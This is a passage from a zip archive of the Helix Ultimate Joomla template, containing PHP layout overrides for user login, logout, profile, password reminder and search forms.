	<?php endif; ?>

	<form action="<?php echo Route::_('index.php?option=com_users&task=reset.confirm'); ?>" method="post" class="form-validate form-horizontal well">
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<fieldset>
				<p><?php echo Text::_($fieldset->label); ?></p>
				<?php foreach ($this->form->getFieldset($fieldset->name) as $name => $field) : ?>
					<div class="control-group">
						<div class="control-label">
							<?php echo $field->label; ?>
						</div>
						<div class="controls">
							<?php echo $field->input; ?>
							</div>
						</div>
				<?php endforeach; ?>
			</fieldset>
		<?php endforeach; ?>

		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary validate"><?php echo Text::_('JSUBMIT'); ?></button>
			</div>
		</div>
		<?php echo HTMLHelper::_('form.token'); ?>
	</form>
</div>
PK!}����4helixultimate/overrides/com_users/remind/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('behavior.formvalidator');
?>
<div class="remind<?php echo $this->pageclass_sfx; ?>">
	<div class="row justify-content-center">
		<div class="col-lg-4">
			<?php if ($this->params->get('show_page_heading')) : ?>
				<div class="page-header">
					<h1>
						<?php echo $this->escape($this->params->get('page_heading')); ?>
					</h1>
				</div>
			<?php endif; ?>

			<form id="user-registration" action="<?php echo Route::_('index.php?option=com_users&task=remind.remind'); ?>" method="post" class="form-validate">
				<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
					<fieldset>
						<p><?php echo Text::_($fieldset->label); ?></p>
						<?php foreach ($this->form->getFieldset($fieldset->name) as $name => $field) : ?>
							<div class="mb-3">
								<?php echo $field->label; ?>
								<?php echo $field->input; ?>
							</div>
						<?php endforeach; ?>
					</fieldset>
				<?php endforeach; ?>
				<div>
					<button type="submit" class="btn btn-primary validate"><?php echo Text::_('JSUBMIT'); ?></button>
				</div>
				<?php echo HTMLHelper::_('form.token'); ?>
			</form>
		</div>
	</div>
</div>
PK!�Ɠ52helixultimate/overrides/com_users/profile/edit.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('behavior.formvalidator');


// Load user_profile plugin language
$lang = Factory::getLanguage();
$lang->load('plg_user_profile', JPATH_ADMINISTRATOR);

?>
<div class="profile-edit<?php echo $this->pageclass_sfx; ?>">
	<div class="row justify-content-center">
		<div class="col-lg-10 col-xl-7">
			<?php if ($this->params->get('show_page_heading')) : ?>
				<div class="page-header">
					<h1><?php echo $this->escape($this->params->get('page_heading')); ?></h1>
				</div>
			<?php endif; ?>

			<script type="text/javascript">
			Joomla.twoFactorMethodChange = function(e)
			{
				var selectedPane = 'com_users_twofactor_' + jQuery('#jform_twofactor_method').val();

				jQuery.each(jQuery('#com_users_twofactor_forms_container>div'), function(i, el) {
					if (el.id != selectedPane)
					{
						jQuery('#' + el.id).hide(0);
					}
					else
					{
						jQuery('#' + el.id).show(0);
					}
				});
			}
			</script>

			<form id="member-profile" action="<?php echo Route::_('index.php?option=com_users&task=profile.save'); ?>" method="post" class="form-validate" enctype="multipart/form-data">
				<?php // Iterate through the form fieldsets and display each one. ?>
				<?php foreach ($this->form->getFieldsets() as $group => $fieldset) : ?>
					<?php $fields = $this->form->getFieldset($group); ?>
					<?php if (count($fields)) : ?>
						<fieldset>
							<?php if (isset($fieldset->label)) : ?>
								<legend>
									<?php echo Text::_($fieldset->label); ?>
								</legend>
							<?php endif; ?>
							<?php if (isset($fieldset->description) && trim($fieldset->description)) : ?>
								<?php echo '<p>' . $this->escape(Text::_($fieldset->description)) . '</p>'; ?>
							<?php endif; ?>
							<?php // Iterate through the fields in the set and display them. ?>
							<div class="row mb-3">
								<?php foreach ($fields as $field) : ?>
									<?php // If the field is hidden, just display the input. ?>
									<?php if ($field->hidden) : ?>
										<?php echo $field->input; ?>
									<?php else : ?>
										<?php if(($field->fieldname == 'name') || ($field->fieldname == 'username')) : ?>
											<div class="col-lg-12">
											<?php else: ?>
												<div class="col-lg-6">
												<?php endif; ?>
												<div class="mb-3">
													<?php echo $field->label; ?>
													<?php if ($field->fieldname === 'password1') : ?>
														<input type="password" style="display:none">
													<?php endif; ?>
													<?php echo $field->input; ?>
												</div>
											</div>
										<?php endif; ?>
									<?php endforeach; ?>
								</div>
							</fieldset>
						<?php endif; ?>
					<?php endforeach; ?>

					<?php if (count($this->twofactormethods) > 1) : ?>
						<fieldset>
							<legend><?php echo Text::_('COM_USERS_PROFILE_TWO_FACTOR_AUTH'); ?></legend>

							<div class="mb-3">
								<label id="jform_twofactor_method-lbl" for="jform_twofactor_method" class="hasTooltip"
								title="<?php echo '<strong>' . Text::_('COM_USERS_PROFILE_TWOFACTOR_LABEL') . '</strong><br>' . Text::_('COM_USERS_PROFILE_TWOFACTOR_DESC'); ?>">
								<?php echo Text::_('COM_USERS_PROFILE_TWOFACTOR_LABEL'); ?>
							</label>
							<?php echo HTMLHelper::_('select.genericlist', $this->twofactormethods, 'jform[twofactor][method]', array('onchange' => 'Joomla.twoFactorMethodChange()'), 'value', 'text', $this->otpConfig->method, 'jform_twofactor_method', false); ?>
						</div>
						<div id="com_users_twofactor_forms_container">
							<?php foreach ($this->twofactorform as $form) : ?>
								<?php $style = $form['method'] == $this->otpConfig->method ? 'display: block' : 'display: none'; ?>
								<div id="com_users_twofactor_<?php echo $form['method']; ?>" style="<?php echo $style; ?>">
									<?php echo $form['form']; ?>
								</div>
							<?php endforeach; ?>
						</div>
					</fieldset>

					<fieldset>
						<legend>
							<?php echo Text::_('COM_USERS_PROFILE_OTEPS'); ?>
						</legend>
						<div class="alert alert-info">
							<?php echo Text::_('COM_USERS_PROFILE_OTEPS_DESC'); ?>
						</div>
						<?php if (empty($this->otpConfig->otep)) : ?>
							<div class="alert alert-warning">
								<?php echo Text::_('COM_USERS_PROFILE_OTEPS_WAIT_DESC'); ?>
							</div>
						<?php else : ?>
							<?php foreach ($this->otpConfig->otep as $otep) : ?>
								<span class="col-lg-3">
									<?php echo substr($otep, 0, 4); ?>-<?php echo substr($otep, 4, 4); ?>-<?php echo substr($otep, 8, 4); ?>-<?php echo substr($otep, 12, 4); ?>
								</span>
							<?php endforeach; ?>
							<div class="clearfix"></div>
						<?php endif; ?>
					</fieldset>
				<?php endif; ?>

				<div class="mb-3">
					<button type="submit" class="btn btn-primary validate"><span><?php echo Text::_('JSUBMIT'); ?></span></button>
					<a class="btn btn-secondary" href="<?php echo Route::_('index.php?option=com_users&view=profile'); ?>" title="<?php echo Text::_('JCANCEL'); ?>"><?php echo Text::_('JCANCEL'); ?></a>
					<input type="hidden" name="option" value="com_users">
					<input type="hidden" name="task" value="profile.save">
				</div>
				<?php echo HTMLHelper::_('form.token'); ?>
			</form>
		</div>
	</div>
</div>
PK!� õ��5helixultimate/overrides/com_users/profile/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();
?>
<div class="profile<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	
	<?php echo $this->loadTemplate('core'); ?>
	<?php echo $this->loadTemplate('params'); ?>
	<?php echo $this->loadTemplate('custom'); ?>
</div>
PK!��((:helixultimate/overrides/com_users/profile/default_core.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>

<div id="users-profile-core">
	<div class="d-flex mb-3">
		<div class="me-auto">
			<strong><?php echo Text::_('COM_USERS_PROFILE_CORE_LEGEND'); ?></strong>
		</div>
		<div>
			<?php if (Factory::getUser()->id == $this->data->id): ?>
				<a href="<?php echo Route::_('index.php?option=com_users&task=profile.edit&user_id=' . (int) $this->data->id); ?>">
					<span class="fas fa-user-edit" aria-hidden="true"></span> <?php echo Text::_('COM_USERS_EDIT_PROFILE'); ?>
				</a>
			<?php endif;?>
		</div>
	</div>
	<ul class="list-group">
		<li class="list-group-item">
			<strong><?php echo Text::_('COM_USERS_PROFILE_NAME_LABEL'); ?></strong>:
			<?php echo $this->data->name; ?>
		</li>
		<li class="list-group-item">
			<strong><?php echo Text::_('COM_USERS_PROFILE_USERNAME_LABEL'); ?></strong>:
			<?php echo htmlspecialchars($this->data->username, ENT_COMPAT, 'UTF-8'); ?>
		</li>
		<li class="list-group-item">
			<strong><?php echo Text::_('COM_USERS_PROFILE_REGISTERED_DATE_LABEL'); ?></strong>:
			<?php echo HTMLHelper::_('date', $this->data->registerDate); ?>
		</li>
		<li class="list-group-item">
			<strong><?php echo Text::_('COM_USERS_PROFILE_LAST_VISITED_DATE_LABEL'); ?></strong>:
			<?php if ($this->data->lastvisitDate != $this->db->getNullDate()): ?>
				<?php echo HTMLHelper::_('date', $this->data->lastvisitDate); ?>
			<?php else: ?>
				<?php echo Text::_('COM_USERS_PROFILE_NEVER_VISITED'); ?>
			<?php endif;?>
		</li>
	</ul>
</div>
PK!�*]��<helixultimate/overrides/com_users/profile/default_params.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers/html');
?>

<?php $fields = $this->form->getFieldset('params'); ?>
<?php if (count($fields)) : ?>
	<div id="users-profile-params">
		<div class="mb-3">
			<strong><?php echo Text::_('COM_USERS_SETTINGS_FIELDSET_LABEL'); ?></strong>
		</div>
		<ul class="list-group">
			<?php foreach ($fields as $field) : ?>
					<?php if (!$field->hidden) : ?>
						<li class="list-group-item">
							<strong><?php echo $field->title; ?></strong>:
							<?php if (HTMLHelper::isRegistered('users.' . $field->id)) : ?>
								<?php echo HTMLHelper::_('users.' . $field->id, $field->value); ?>
							<?php elseif (HTMLHelper::isRegistered('users.' . $field->fieldname)) : ?>
								<?php echo HTMLHelper::_('users.' . $field->fieldname, $field->value); ?>
							<?php elseif (HTMLHelper::isRegistered('users.' . $field->type)) : ?>
								<?php echo HTMLHelper::_('users.' . $field->type, $field->value); ?>
							<?php else : ?>
								<?php echo HTMLHelper::_('users.value', $field->value); ?>
							<?php endif; ?>
						</li>
					<?php endif; ?>
			<?php endforeach; ?>
		</ul>
	</div>
<?php endif; ?>
PK!~g�

<helixultimate/overrides/com_users/profile/default_custom.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

// HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers/html');
// HTMLHelper::register('users.spacer', array('JHtmlUsers', 'spacer'));

$fieldsets = $this->form->getFieldsets();

if (isset($fieldsets['core']))
{
	unset($fieldsets['core']);
}

if (isset($fieldsets['params']))
{
	unset($fieldsets['params']);
}

$tmp          = isset($this->data->jcfields) ? $this->data->jcfields : array();
$customFields = array();

foreach ($tmp as $customField)
{
	$customFields[$customField->name] = $customField;
}
?>
<?php foreach ($fieldsets as $group => $fieldset) : ?>
	<?php $fields = $this->form->getFieldset($group); ?>
	<?php if (count($fields)) : ?>
		<div class="users-profile-custom-<?php echo $group; ?>" id="users-profile-custom-<?php echo $group; ?>">
			<div class="mb-3">
				<?php if (isset($fieldset->label) && ($legend = trim(Text::_($fieldset->label))) !== '') : ?>
					<strong><?php echo $legend; ?></strong>
				<?php endif; ?>
				<?php if (isset($fieldset->description) && trim($fieldset->description)) : ?>
					<div><?php echo $this->escape(Text::_($fieldset->description)); ?></span>
				<?php endif; ?>
			</div>
			<ul class="list-group">
					<?php foreach ($fields as $field) : ?>
						<?php if (!$field->hidden && $field->type !== 'Spacer') : ?>
							<li class="list-group-item">
								<strong><?php echo $field->title; ?></strong>:
								<?php if (key_exists($field->fieldname, $customFields)) : ?>
									<?php echo $customFields[$field->fieldname]->value ?: Text::_('COM_USERS_PROFILE_VALUE_NOT_FOUND'); ?>
								<?php elseif (HTMLHelper::isRegistered('users.' . $field->id)) : ?>
									<?php echo HTMLHelper::_('users.' . $field->id, $field->value); ?>
								<?php elseif (HTMLHelper::isRegistered('users.' . $field->fieldname)) : ?>
									<?php echo HTMLHelper::_('users.' . $field->fieldname, $field->value); ?>
								<?php elseif (HTMLHelper::isRegistered('users.' . $field->type)) : ?>
									<?php echo HTMLHelper::_('users.' . $field->type, $field->value); ?>
								<?php else : ?>
									<?php echo HTMLHelper::_('users.value', $field->value); ?>
								<?php endif; ?>
							</li>
						<?php endif; ?>
				<?php endforeach; ?>
			</ul>
		</div>
	<?php endif; ?>
<?php endforeach; ?>
PK!#�%G

9helixultimate/overrides/com_users/login/default_login.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('behavior.formvalidator');

$usersConfig = ComponentHelper::getParams('com_users');

?>
<div class="login<?php echo $this->pageclass_sfx; ?>">
	<div class="row justify-content-center">
		<div class="col-lg-4">
			<?php if ($this->params->get('show_page_heading')) : ?>
				<div class="page-header">
					<h1>
						<?php echo $this->escape($this->params->get('page_heading')); ?>
					</h1>
				</div>
			<?php endif; ?>

			<?php if (($this->params->get('logindescription_show') == 1 && str_replace(' ', '', $this->params->get('login_description')) != '') || $this->params->get('login_image') != '') : ?>
				<div class="login-description">
				<?php endif; ?>

				<?php if ($this->params->get('logindescription_show') == 1) : ?>
					<?php echo $this->params->get('login_description'); ?>
				<?php endif; ?>

				<?php if ($this->params->get('login_image') != '') : ?>
					<img src="<?php echo $this->escape($this->params->get('login_image')); ?>" class="login-image" alt="<?php echo Text::_('COM_USERS_LOGIN_IMAGE_ALT'); ?>">
				<?php endif; ?>

				<?php if (($this->params->get('logindescription_show') == 1 && str_replace(' ', '', $this->params->get('login_description')) != '') || $this->params->get('login_image') != '') : ?>
				</div>
			<?php endif; ?>

			<form action="<?php echo Route::_('index.php?option=com_users&task=user.login'); ?>" method="post" class="form-validate">

				<?php foreach ($this->form->getFieldset('credentials') as $field) : ?>
					<?php if (!$field->hidden) : ?>
						<div class="mb-3">
							<?php echo $field->label; ?>
							<?php echo $field->input; ?>
						</div>
					<?php endif; ?>
				<?php endforeach; ?>

				<?php if ($this->tfa) : ?>
					<div class="mb-3">
						<?php echo $this->form->getField('secretkey')->label; ?>
						<?php echo $this->form->getField('secretkey')->input; ?>
					</div>
				<?php endif; ?>

				<?php if (PluginHelper::isEnabled('system', 'remember')) : ?>
					<div class="form-check mb-3">
						<label class="form-check-label">
							<input class="form-check-input" type="checkbox" name="remember" id="remember" class="inputbox" value="yes">
							<?php echo Text::_('COM_USERS_LOGIN_REMEMBER_ME') ?>
						</label>
					</div>
				<?php endif; ?>

				<div class="mb-3">
					<button type="submit" class="btn btn-primary btn-lg w-100">
						<?php echo Text::_('JLOGIN'); ?>
					</button>
				</div>

				<?php $return = $this->form->getValue('return', '', $this->params->get('login_redirect_url', $this->params->get('login_redirect_menuitem'))); ?>
				<input type="hidden" name="return" value="<?php echo base64_encode($return); ?>">
				<?php echo HTMLHelper::_('form.token'); ?>
			</form>

			<div>
				<div class="list-group">
					<a class="list-group-item" href="<?php echo Route::_('index.php?option=com_users&view=reset'); ?>">
						<?php echo Text::_('COM_USERS_LOGIN_RESET'); ?>
					</a>
					<a class="list-group-item" href="<?php echo Route::_('index.php?option=com_users&view=remind'); ?>">
						<?php echo Text::_('COM_USERS_LOGIN_REMIND'); ?>
					</a>
					<?php if ($usersConfig->get('allowUserRegistration')) : ?>
						<a class="list-group-item" href="<?php echo Route::_('index.php?option=com_users&view=registration'); ?>">
							<?php echo Text::_('COM_USERS_LOGIN_REGISTER'); ?>
						</a>
					<?php endif; ?>
				</div>
			</div>
		</div>
	</div>
</div>
PK!�i�.��:helixultimate/overrides/com_users/login/default_logout.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<div class="logout<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
	<div class="page-header">
		<h1>
			<?php echo $this->escape($this->params->get('page_heading')); ?>
		</h1>
	</div>
	<?php endif; ?>

	<?php if (($this->params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description')) != '')|| $this->params->get('logout_image') != '') : ?>
	<div class="logout-description">
	<?php endif; ?>

		<?php if ($this->params->get('logoutdescription_show') == 1) : ?>
			<?php echo $this->params->get('logout_description'); ?>
		<?php endif; ?>

		<?php if ($this->params->get('logout_image') != '') : ?>
			<img src="<?php echo $this->escape($this->params->get('logout_image')); ?>" class="thumbnail float-end logout-image" alt="<?php echo Text::_('COM_USER_LOGOUT_IMAGE_ALT'); ?>">
		<?php endif; ?>

	<?php if (($this->params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description')) != '')|| $this->params->get('logout_image') != '') : ?>
	</div>
	<?php endif; ?>

	<form action="<?php echo Route::_('index.php?option=com_users&task=user.logout'); ?>" method="post" class="form-horizontal well">
		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary"><span class="icon-arrow-left icon-white"></span> <?php echo Text::_('JLOGOUT'); ?></button>
			</div>
		</div>
		<?php if ($this->params->get('logout_redirect_url')) : ?>
			<input type="hidden" name="return" value="<?php echo base64_encode($this->params->get('logout_redirect_url', $this->form->getValue('return'))); ?>">
		<?php else : ?>
			<input type="hidden" name="return" value="<?php echo base64_encode($this->params->get('logout_redirect_menuitem', $this->form->getValue('return'))); ?>">
		<?php endif; ?>
		<?php echo HTMLHelper::_('form.token'); ?>
	</form>
</div>
PK!��V�3helixultimate/overrides/com_users/login/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

$cookieLogin = $this->user->get('cookieLogin');

if (!empty($cookieLogin) || $this->user->get('guest'))
{
	// The user is not logged in or needs to provide a password.
	echo $this->loadTemplate('login');
}
else
{
	// The user is already logged in.
	echo $this->loadTemplate('logout');
}
PK!�F���.helixultimate/overrides/mod_search/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Router\Route;

?>
<div class="search">
	<form action="<?php echo Route::_('index.php'); ?>" method="post">
		<?php
			$output = '<label for="mod-search-searchword' . $module->id . '" class="hide-label">' . $label . '</label> ';
			$input  = '<input name="searchword" id="mod-search-searchword' . $module->id . '" class="form-control" type="search" placeholder="' . $text . '">';
			$output .= '';

			if ($button) :
				if ($imagebutton) :
					$btn_output = '<input type="image" alt="' . $button_text . '" class="btn btn-primary" src="' . $img . '" onclick="this.form.searchword.focus();">';
				else :
					$btn_output = '<button class="btn btn-primary" onclick="this.form.searchword.focus();">' . $button_text . '</button>';
				endif;

				$output .= '<div class="input-group">';
				$output .= $input;
				$output .= '<span class="input-group-btn">';
				$output .= $btn_output;
				$output .= '</span>';
				$output .= '</div>';
			else :
				$output .= $input;
			endif;

			echo $output;
		?>
		<input type="hidden" name="task" value="search">
		<input type="hidden" name="option" value="com_search">
		<input type="hidden" name="Itemid" value="<?php echo $mitemid; ?>">
	</form>
</div>
PK!�T�3��:helixultimate/overrides/com_search/search/default_form.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$lang = Factory::getLanguage();
$upper_limit = $lang->getUpperLimitSearchWord();

?>
<form id="searchForm" action="<?php echo Route::_('index.php?option=com_search'); ?>" method="post">
	<div class="mb-3">
		<div class="input-group">
			<input type="text" name="searchword" placeholder="<?php echo Text::_('COM_SEARCH_SEARCH_KEYWORD'); ?>" id="search-searchword" maxlength="<?php echo $upper_limit; ?>" value="<?php echo $this->escape($this->origkeyword); ?>" class="form-control">
			<div class="input-group-text">
				<button name="Search" onclick="this.form.submit()" class="btn btn-secondary">
					<span class="fas fa-search" aria-hidden="true"></span>
					<?php echo Text::_('JSEARCH_FILTER_SUBMIT'); ?>
				</button>
			</div>
		</div>
		<input type="hidden" name="task" value="search">
	</div>
	<div class="mb-3 searchintro<?php echo $this->params->get('pageclass_sfx'); ?>">
		<?php if (!empty($this->searchword)) : ?>
			<p>
				<?php echo Text::plural('COM_SEARCH_SEARCH_KEYWORD_N_RESULTS', '<span class="badge badge-info">' . $this->total . '</span>'); ?>
			</p>
		<?php endif; ?>
	</div>
	<?php if ($this->params->get('search_phrases', 1)) : ?>
		<fieldset>
			<legend>
				<?php echo Text::_('COM_SEARCH_FOR'); ?>
			</legend>
			<div class="mb-3">
				<?php echo $this->lists['searchphrase']; ?>
			</div>
			<div class="mb-3">
				<label for="ordering" class="me-2">
					<?php echo Text::_('COM_SEARCH_ORDERING'); ?>
				</label>
				<?php echo $this->lists['ordering']; ?>
			</div>
		</fieldset>
		<hr>
	<?php endif; ?>
	<?php if ($this->params->get('search_areas', 1)) : ?>
		<div class="mb-3">
			<fieldset>
				<legend>
					<?php echo Text::_('COM_SEARCH_SEARCH_ONLY'); ?>
				</legend>
				<?php foreach ($this->searchareas['search'] as $val => $txt) : ?>
					<div class="form-check form-check-inline">
						<?php $checked = is_array($this->searchareas['active']) && in_array($val, $this->searchareas['active']) ? 'checked="checked"' : ''; ?>
						<input type="checkbox" class="form-check-input" name="areas[]" value="<?php echo $val; ?>" id="area-<?php echo $val; ?>" <?php echo $checked; ?>>
						<label for="area-<?php echo $val; ?>" class="form-check-label"><?php echo Text::_($txt); ?></label>
					</div>
				<?php endforeach; ?>
			</fieldset>
		</div>
		<hr>
	<?php endif; ?>
	<?php if ($this->total > 0) : ?>
		<div class="mb-3">
			<div class="d-flex">
				<label for="limit" class="me-2">
					<?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
				</label>
				<?php echo $this->pagination->getLimitBox(); ?>
			</div>
		</div>
		<p><?php echo $this->pagination->getPagesCounter(); ?></p>
	<?php endif; ?>
</form>
PK!�10oEE=helixultimate/overrides/com_search/search/default_results.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<dl class="search-results">
<?php foreach ($this->results as $result) : ?>
	<dt class="result-title">
		<?php echo $this->pagination->limitstart + $result->count . '. '; ?>
		<?php if ($result->href) : ?>
			<a rel="noopener noreferrer" href="<?php echo Route::_($result->href); ?>"<?php if (isset($result->browsernav) && $result->browsernav == 1) : ?> target="_blank"<?php endif; ?>>
				<?php // $result->title should not be escaped in this case, as it may ?>
				<?php // contain span HTML tags wrapping the searched terms, if present ?>
				<?php // in the title. ?>
				<?php echo $result->title; ?>
			</a>
		<?php else : ?>
			<?php // see above comment: do not escape $result->title ?>
			<?php echo $result->title; ?>
		<?php endif; ?>
	</dt>
	<?php if (!empty($result->section)) : ?>
		<dd class="result-category">
			<span class="small">
				(<?php echo $this->escape($result->section); ?>)
			</span>
		</dd>
	<?php endif; ?>
	<dd class="result-text">
		<?php echo $result->text; ?>
	</dd>
	<?php if ($this->params->get('show_date')) : ?>
		<dd class="result-created">
			<?php echo Text::sprintf('JGLOBAL_CREATED_DATE_ON', $result->created); ?>
		</dd>
	<?php endif; ?>
<?php endforeach; ?>

</dl>
<div class="w-100">
	<?php echo $this->pagination->getPagesLinks(); ?>
</div>
PK!Yf:Jww;helixultimate/overrides/com_search/search/default_error.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

?>
<?php if ($this->error) : ?>
	<div class="error">
		<?php echo $this->escape($this->error); ?>
	</div>
<?php endif; ?>
PK!��,_jj5helixultimate/overrides/com_search/search/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

?>
<div class="search">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1 class="page-title">
			<?php if ($this->escape($this->params->get('page_heading'))) : ?>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			<?php else : ?>
				<?php echo $this->escape($this->params->get('page_title')); ?>
			<?php endif; ?>
		</h1>
	<?php endif; ?>
	<?php echo $this->loadTemplate('form'); ?>
	<?php if ($this->error == null && count($this->results) > 0) : ?>
		<?php echo $this->loadTemplate('results'); ?>
	<?php else : ?>
		<?php echo $this->loadTemplate('error'); ?>
	<?php endif; ?>
</div>
PK!#4�/-helixultimate/overrides/mod_login/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;

JLoader::register('UsersHelperRoute', JPATH_SITE . '/components/com_users/helpers/route.php');

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('bootstrap.tooltip');

?>
<form action="<?php echo Route::_('index.php', true, $params->get('usesecure')); ?>" method="post" id="login-form">
	<?php if ($params->get('pretext')) : ?>
		<div class="pretext mb-2">
			<?php echo $params->get('pretext'); ?>
		</div>
	<?php endif; ?>

	<div id="form-login-username" class="mb-3">
		<?php if (!$params->get('usetext')) : ?>
			<div class="input-group">
				<span class="input-group-text" aria-label="<?php echo Text::_('MOD_LOGIN_VALUE_USERNAME'); ?>"><span class="fas fa-user"></span></span>
				<input id="modlgn-username" type="text" name="username" class="form-control" tabindex="0" size="18" placeholder="<?php echo Text::_('MOD_LOGIN_VALUE_USERNAME'); ?>" />
			</div>
		<?php else : ?>
			<label for="modlgn-username"><?php echo Text::_('MOD_LOGIN_VALUE_USERNAME'); ?></label>
			<input id="modlgn-username" type="text" name="username" class="form-control" tabindex="0" size="18" placeholder="<?php echo Text::_('MOD_LOGIN_VALUE_USERNAME'); ?>" />
		<?php endif; ?>
	</div>

	<div id="form-login-password" class="mb-3">
		<?php if (!$params->get('usetext')) : ?>
			<div class="input-group">
					<span class="input-group-text" aria-label="<?php echo Text::_('JGLOBAL_PASSWORD'); ?>"><span class="fas fa-lock" aria-hidden="true"></span></span>
